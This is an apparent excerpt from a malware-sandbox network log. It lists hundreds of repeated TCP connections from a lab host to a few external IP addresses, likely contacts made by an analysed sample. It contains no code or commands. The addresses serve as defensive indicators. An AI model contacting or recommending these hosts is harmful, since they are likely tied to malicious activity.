              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49754 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:49754 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:49754 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52742 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52745 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52747 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52749 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52751 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52753 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52754 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52753 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52757 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52753 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52760 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52763 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52765 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52767 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52768 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52770 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52768 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52773 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52768 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52777 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52778 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52781 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52784 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52786 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52788 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52791 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:52793 -> 132.226.8.169:80
              Source: global trafficTCP traffic: 192.168.2.4:49740 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49740 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49740 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49740 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
